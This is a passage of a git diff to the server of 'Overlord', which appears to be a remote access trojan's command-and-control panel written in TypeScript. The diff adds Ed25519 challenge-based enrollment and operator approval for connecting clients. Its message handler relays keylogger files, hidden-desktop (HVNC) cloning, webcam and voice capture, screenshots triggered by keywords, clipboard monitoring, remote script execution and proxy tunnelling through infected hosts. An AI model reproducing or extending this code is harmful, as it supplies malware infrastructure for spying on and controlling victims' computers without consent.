+  const t = enrollmentTimeouts.get(clientId);
+  if (t) {
+    clearTimeout(t);
+    enrollmentTimeouts.delete(clientId);
+  }
+}
+
+async function verifyEd25519(publicKeyBase64: string, signatureBase64: string, nonceBase64: string): Promise<boolean> {
+  try {
+    const pubKeyBytes = Buffer.from(publicKeyBase64, "base64");
+    const sigBytes = Buffer.from(signatureBase64, "base64");
+    const nonceBytes = Buffer.from(nonceBase64, "base64");
+    if (pubKeyBytes.length !== 32 || sigBytes.length !== 64) return false;
+    const key = await crypto.subtle.importKey(
+      "raw",
+      pubKeyBytes,
+      { name: "Ed25519" },
+      false,
+      ["verify"],
+    );
+    return await crypto.subtle.verify("Ed25519", key, sigBytes, nonceBytes);
+  } catch {
+    return false;
+  }
+}
+
+function computeKeyFingerprint(publicKeyBase64: string): string {
+  const bytes = Buffer.from(publicKeyBase64, "base64");
+  const hash = new Bun.CryptoHasher("sha256").update(bytes).digest("hex");
+  return hash;
+}
+
 export function handleWebSocketOpen(ws: ServerWebSocket<SocketData>, deps: WsLifecycleDeps): void {
   const role = ws.data.role as string;
   const clientId = ws.data.clientId;
@@ -101,43 +139,32 @@ export function handleWebSocketOpen(ws: ServerWebSocket<SocketData>, deps: WsLif
   if (role === "notifications_viewer") return deps.handleNotificationViewerOpen(ws);
 
   const id = clientId || uuidv4();
-  const info: ClientInfo = { id, role: role as any, ws, lastSeen: Date.now(), country: "", ip, online: true };
-  clientManager.addClient(id, info);
-
   ws.data.clientId = id;
   ws.data.ip = ip;
-  if (role === "client") {
-    ws.data.wasKnown = clientExists(id);
-  }
 
-  upsertClientRow({ id, role: role as any, ip, lastSeen: info.lastSeen, online: 1 as any });
-  logger.info(`[open] ${id} role=${role}`);
+  const nonceBytes = new Uint8Array(32);
+  crypto.getRandomValues(nonceBytes);
+  const nonceBase64 = Buffer.from(nonceBytes).toString("base64");
+  ws.data.enrollmentNonce = nonceBase64;
 
-  const notificationConfig = deps.getNotificationConfig();
-  ws.send(
-    encodeMessage({
-      type: "hello_ack",
-      id,
-      notification: {
-        keywords: notificationConfig.keywords || [],
-        minIntervalMs: notificationConfig.minIntervalMs || 8000,
-        clipboardEnabled: notificationConfig.clipboardEnabled || false,
-      },
-    }),
-  );
+  ws.send(encodeMessage({ type: "enrollment_challenge", nonce: nonceBase64 }));
 
-  if (role === "client") {
-    deps.notifyRemoteDesktopStatus(id, "online");
-    metrics.recordConnection();
-    deps.notifyDashboard();
-  }
+  const timeout = setTimeout(() => {
+    enrollmentTimeouts.delete(id);
+    try {
+      ws.close(4002, "enrollment_timeout");
+    } catch {}
+  }, ENROLLMENT_TIMEOUT_MS);
+  enrollmentTimeouts.set(id, timeout);
+
+  logger.info(`[open] ${id} role=${role} — purgatory challenge sent`);
 }
 
-export function handleWebSocketMessage(
+export async function handleWebSocketMessage(
   ws: ServerWebSocket<SocketData>,
   message: string | ArrayBuffer | Uint8Array,
   deps: WsLifecycleDeps,
-): void {
+): Promise<void> {
   const size = getMessageByteLength(message as any);
   const role = ws.data?.role as any;
   const limit = getMaxPayloadLimit(role, deps.maxClientPayloadBytes, deps.maxViewerPayloadBytes);
@@ -162,57 +189,194 @@ export function handleWebSocketMessage(
   if (socketRole === "dashboard_viewer") return;
 
   const { clientId, ip } = ws.data;
-  const info = clientManager.getClient(clientId);
-  if (!info) return;
-  info.lastSeen = Date.now();
 
+  let payload: WireMessage;
   try {
-    const payload = decodeMessage(message as Uint8Array) as WireMessage;
+    payload = decodeMessage(message as Uint8Array) as WireMessage;
     if (!payload || typeof (payload as any).type !== "string") {
       return;
     }
-    if (!isAllowedClientMessageType((payload as any).type)) {
-      logger.warn(`[message] Dropping unknown client message type: ${(payload as any).type}`);
-      return;
-    }
+  } catch (err) {
+    logger.error("[message] decode error", err);
+    return;
+  }
 
-    const payloadType = (payload as any)?.type as string;
+  const payloadType = (payload as any).type as string;
+
+  if (!isAllowedClientMessageType(payloadType)) {
+    logger.warn(`[message] Dropping unknown client message type: ${payloadType}`);
+    return;
+  }
+
+  const info = clientManager.getClient(clientId);
+
+  if (!info && payloadType !== "hello") return;
+  if (info) info.lastSeen = Date.now();
+
+  const client = info!;
+
+  try {
     switch (payloadType) {
       case "hello": {
-        handleHello(info, payload, ws, ip);
-        clientManager.addClient(info.id, info);
-        deps.dispatchAutoScriptsForConnection(info, ws);
+        clearEnrollmentTimeout(clientId);
+
+        const publicKey = typeof (payload as any).publicKey === "string" ? (payload as any).publicKey : "";
+        const signature = typeof (payload as any).signature === "string" ? (payload as any).signature : "";
+        const nonce = ws.data.enrollmentNonce || "";
+
+        if (!publicKey || !signature || !nonce) {
+          logger.warn(`[purgatory] missing publicKey/signature/nonce for ${clientId}`);
+          try { ws.close(4002, "invalid_signature"); } catch {}
+          return;
+        }
+
+        const valid = await verifyEd25519(publicKey, signature, nonce);
+        if (!valid) {
+          logger.warn(`[purgatory] invalid signature for ${clientId}`);
+          try { ws.close(4002, "invalid_signature"); } catch {}
+          return;
+        }
+
+        ws.data.enrollmentNonce = undefined;
+
+        const keyFingerprint = computeKeyFingerprint(publicKey);
+        const config = getConfig();
+        const requireApproval = config.enrollment?.requireApproval ?? true;
+
+        const existing = lookupClientByPublicKey(publicKey);
+        let enrollmentStatus: string;
+
+        if (existing) {
+          enrollmentStatus = existing.enrollmentStatus;
+          ws.data.clientId = existing.id;
+        } else {
+          enrollmentStatus = requireApproval ? "pending" : "approved";
+        }
+
+        const resolvedId = ws.data.clientId;
+
+        if (enrollmentStatus === "denied") {
+          logger.info(`[purgatory] denied client ${resolvedId} tried to connect`);
+          ws.send(encodeMessage({ type: "enrollment_status", status: "denied" }));
+          try { ws.close(4003, "denied"); } catch {}
+          return;
+        }
+
+        if (enrollmentStatus === "pending") {
+          const geo = ip ? geoip.lookup(ip) : undefined;
+          const countryRaw = geo?.country || (payload as any).country || "ZZ";
+          const country = /^[A-Z]{2}$/i.test(countryRaw) ? countryRaw.toUpperCase() : "ZZ";
+
+          upsertClientRow({
+            id: resolvedId,
+            hwid: (payload as any).hwid || resolvedId,
+            role: "client",
+            ip: ip || undefined,
+            host: (payload as any).host || undefined,
+            os: (payload as any).os || undefined,
+            arch: (payload as any).arch || undefined,
+            version: (payload as any).version || undefined,
+            user: (payload as any).user || undefined,
+            monitors: (payload as any).monitors || undefined,
+            country,
+            lastSeen: Date.now(),
+            online: 0 as any,
+            publicKey,
+            keyFingerprint,
+            enrollmentStatus: "pending",
+          });
+
+          logger.info(`[purgatory] client ${resolvedId} is pending approval`);
+          ws.send(encodeMessage({ type: "enrollment_status", status: "pending" }));
+          deps.notifyDashboard();
+          try { ws.close(4001, "pending"); } catch {}
+          return;
+        }
+
+        const existingClient = clientManager.getClient(resolvedId);
+        if (existingClient?.ws && existingClient.ws !== ws) {
+          logger.info(`[purgatory] kicking existing socket for ${resolvedId} (superseded)`);
+          try { existingClient.ws.close(4004, "superseded"); } catch {}
+          clientManager.deleteClient(resolvedId);
+        }
+
+        ws.data.wasKnown = clientExists(resolvedId);
+
+        const infoObj: ClientInfo = {
+          id: resolvedId,
+          role: "client",
+          ws,
+          lastSeen: Date.now(),
+          country: "",
+          ip,
+          online: true,
+          publicKey,
+          keyFingerprint,
+          enrollmentStatus: "approved" as any,
+        };
+        clientManager.addClient(resolvedId, infoObj);
+
+        upsertClientRow({
+          id: resolvedId,
+          publicKey,
+          keyFingerprint,
+          enrollmentStatus: "approved",
+          online: 1 as any,
+          lastSeen: Date.now(),
+        });
+
+        const notificationConfig = deps.getNotificationConfig();
+        ws.send(
+          encodeMessage({
+            type: "hello_ack",
+            id: resolvedId,
+            notification: {
+              keywords: notificationConfig.keywords || [],
+              minIntervalMs: notificationConfig.minIntervalMs || 8000,
+              clipboardEnabled: notificationConfig.clipboardEnabled || false,
+            },
+          }),
+        );
+
+        handleHello(infoObj, payload, ws, ip);
+        clientManager.addClient(infoObj.id, infoObj);
+
+        deps.dispatchAutoScriptsForConnection(infoObj, ws);
         deps.notifyDashboard();
-        if (info.role === "client") {
-          const wasKnown = Boolean((ws as any)?.data?.wasKnown);
+
+        if (infoObj.role === "client") {
+          deps.notifyRemoteDesktopStatus(resolvedId, "online");
+          metrics.recordConnection();
+
+          const wasKnown = Boolean(ws.data.wasKnown);
           logAudit({
             timestamp: Date.now(),
             username: "system",
-            ip: (ws as any)?.data?.ip || ip || "unknown",
+            ip: ws.data?.ip || ip || "unknown",
             action: wasKnown ? AuditAction.CLIENT_RECONNECT : AuditAction.CLIENT_FIRST_CONNECT,
-            targetClientId: info.id,
+            targetClientId: infoObj.id,
             success: true,
-            details: JSON.stringify({ host: info.host, os: info.os, user: info.user }),
+            details: JSON.stringify({ host: infoObj.host, os: infoObj.os, user: infoObj.user }),
           });
           (ws as any).data.wasKnown = true;
 
           const buildTag = typeof (payload as any).buildTag === "string" ? (payload as any).buildTag : "";
           if (buildTag) {
-            deps.handleBuildTagConnection(info.id, buildTag);
+            deps.handleBuildTagConnection(infoObj.id, buildTag);
           }
         }
         break;
       }
       case "ping":
-        handlePing(info, payload, ws);
+        handlePing(client, payload, ws);
         break;
       case "pong":
-        handlePong(info, payload);
+        handlePong(client, payload);
         deps.notifyDashboard();
         break;
       case "frame":
         if ((payload as any)?.header?.fps === 0) {
-          const pending = deps.takePendingNotificationScreenshot(info.id);
+          const pending = deps.takePendingNotificationScreenshot(client.id);
           if (pending) {
             let bytes: Uint8Array | null = null;
             if ((payload as any).data instanceof Uint8Array) {
@@ -231,10 +395,10 @@ export function handleWebSocketMessage(
             }
           }
         }
-        handleFrame(info, payload);
+        handleFrame(client, payload);
         break;
       case "screenshot_result":
-        deps.handleNotificationScreenshotResult(info.id, payload);
+        deps.handleNotificationScreenshotResult(client.id, payload);
         break;
       case "console_output":
         deps.handleConsoleOutput(payload);
@@ -264,30 +428,30 @@ export function handleWebSocketMessage(
           (payload as any).ok,
           (payload as any).message,
         );
-        deps.handleFileBrowserMessage(info.id, payload);
+        deps.handleFileBrowserMessage(client.id, payload);
         if (payloadType === "command_result" && typeof (payload as any).commandId === "string") {
           deps.handleProxyConnectResult(
-            info.id,
+            client.id,
             (payload as any).commandId,
             Boolean((payload as any).ok),
           );
         }
         break;
       case "command_progress":
-        deps.handleFileBrowserMessage(info.id, payload);
+        deps.handleFileBrowserMessage(client.id, payload);
         break;
       case "process_list_result":
-        deps.handleProcessMessage(info.id, payload);
+        deps.handleProcessMessage(client.id, payload);
         break;
       case "keylog_file_list":
       case "keylog_file_content":
       case "keylog_clear_result":
       case "keylog_delete_result":
-        deps.handleKeyloggerMessage(info.id, payload);
+        deps.handleKeyloggerMessage(client.id, payload);
         break;
       case "script_result": {
         logger.debug(
-          `[script] client=${info.id} ok=${(payload as any).ok} output_length=${(payload as any).output?.length || 0}`,
+          `[script] client=${client.id} ok=${(payload as any).ok} output_length=${(payload as any).output?.length || 0}`,
         );
         const cmdId = (payload as any).commandId;
         if (cmdId && deps.pendingScripts.has(cmdId)) {
@@ -303,33 +467,33 @@ export function handleWebSocketMessage(
         break;
       }
       case "plugin_event":
-        deps.handlePluginEvent(info.id, payload);
+        deps.handlePluginEvent(client.id, payload);
         break;
       case "notification":
-        deps.handleNotification(info.id, payload);
+        deps.handleNotification(client.id, payload);
         break;
       case "voice_uplink":
-        deps.handleVoiceUplink(info.id, payload);
+        deps.handleVoiceUplink(client.id, payload);
         break;
       case "webcam_devices":
-        deps.handleWebcamDevices(info.id, payload);
+        deps.handleWebcamDevices(client.id, payload);
         break;
       case "hvnc_clone_progress":
-        deps.handleHVNCCloneProgress(info.id, payload);
+        deps.handleHVNCCloneProgress(client.id, payload);
         break;
       case "proxy_data": {
         const connId = (payload as any).connectionId;
         const tunnelData = (payload as any).data;
         if (typeof connId === "string" && tunnelData) {
           const bytes = tunnelData instanceof Uint8Array ? tunnelData : new Uint8Array(tunnelData);
-          deps.handleProxyTunnelData(info.id, connId, bytes);
+          deps.handleProxyTunnelData(client.id, connId, bytes);
         }
         break;
       }
       case "proxy_close": {
         const connId = (payload as any).connectionId;
         if (typeof connId === "string") {
-          deps.handleProxyTunnelClose(info.id, connId);
+          deps.handleProxyTunnelClose(client.id, connId);
         }
         break;
       }
@@ -351,6 +515,8 @@ export function handleWebSocketClose(
   const role = ws.data.role as string;
   const sessionId = ws.data.sessionId;
 
+  clearEnrollmentTimeout(clientId);
+
   if (role === "console_viewer") {
     if (sessionId) {
       sessionManager.deleteConsoleSession(sessionId);
@@ -460,6 +626,12 @@ export function handleWebSocketClose(
     return;
   }
 
+  const currentClient = clientManager.getClient(clientId);
+  if (currentClient && currentClient.ws !== ws) {
+    logger.info(`[close] ${clientId} code=${code} (superseded socket, skipping cleanup)`);
+    return;
+  }
+
   clientManager.deleteClient(clientId);
   stopAllProxiesForClient(clientId);
   clearClientSyncState(clientId);
diff --git a/Overlord-Server/src/server/websocket-runtime.ts b/Overlord-Server/src/server/websocket-runtime.ts
index d4b1f1a..e2957b6 100644
--- a/Overlord-Server/src/server/websocket-runtime.ts
+++ b/Overlord-Server/src/server/websocket-runtime.ts
@@ -10,7 +10,7 @@ type MessageHandler<TLifecycleDeps> = (
   ws: ServerWebSocket<SocketData>,
   message: string | ArrayBuffer | Uint8Array,
   deps: TLifecycleDeps,
-) => void;
+) => void | Promise<void>;
 
 type CloseHandler<TLifecycleDeps> = (
   ws: ServerWebSocket<SocketData>,
diff --git a/Overlord-Server/src/sessions/types.ts b/Overlord-Server/src/sessions/types.ts
index cc4b3d7..fab7031 100644
--- a/Overlord-Server/src/sessions/types.ts
+++ b/Overlord-Server/src/sessions/types.ts
@@ -22,6 +22,7 @@ export type SocketData = {
   userId?: number;
   wasKnown?: boolean;
   autoTasksRan?: boolean;
+  enrollmentNonce?: string;
 };
 
 export type ConsoleSession = {
diff --git a/Overlord-Server/src/types.ts b/Overlord-Server/src/types.ts
index 4c7cfa7..fe7a580 100644
--- a/Overlord-Server/src/types.ts
+++ b/Overlord-Server/src/types.ts
@@ -1,5 +1,7 @@
 export type ClientRole = "client" | "viewer";
 
+export type EnrollmentStatus = "pending" | "approved" | "denied";
+
 export type ClientInfo = {
   id: string;
   lastSeen: number;
@@ -22,6 +24,9 @@ export type ClientInfo = {
   monitorInfo?: { width: number; height: number }[];
   country?: string;
   pingMs?: number;
+  enrollmentStatus?: EnrollmentStatus;
+  publicKey?: string;
+  keyFingerprint?: string;
 };
 
 export type ListFilters = {
@@ -32,6 +37,7 @@ export type ListFilters = {
   statusFilter?: string;
   osFilter?: string;
   countryFilter?: string;
+  enrollmentFilter?: string;
   allowedClientIds?: string[];
   deniedClientIds?: string[];
 };
diff --git a/go.work b/go.work
index d342da8..9355fcb 100644
--- a/go.work
+++ b/go.work
@@ -1,4 +1,4 @@
-go 1.24
+go 1.25.0
 
 use (
 	./Overlord-Client
diff --git a/go.work.sum b/go.work.sum
index f65d61d..4aca735 100644
--- a/go.work.sum
+++ b/go.work.sum
@@ -1,4 +1,5 @@
 github.com/gen2brain/x264-go/x264c v0.0.0-20221204084822-82ee2951dea2 h1:4GzTsZK/uG+tHvWR2ORcTCGTC4+mgOPhkUdz/Ro9alg=
 github.com/gen2brain/x264-go/x264c v0.0.0-20221204084822-82ee2951dea2/go.mod h1:MUMv+ZURlTO3qH8QAt2gxiIY5X4NMaxObz2ImZOMvyA=
-gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
-gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
+golang.org/x/net v0.51.0/go.mod h1:aamm+2QF5ogm02fjy5Bb7CQ0WMt1/WVM7FtyaTLlA9Y=
+golang.org/x/term v0.41.0/go.mod h1:3pfBgksrReYfZ5lvYM0kSO0LIkAl4Yl2bXOkKP7Ec2A=
+golang.org/x/text v0.35.0/go.mod h1:khi/HExzZJ2pGnjenulevKNX1W67CUy0AsXcNubPGCA=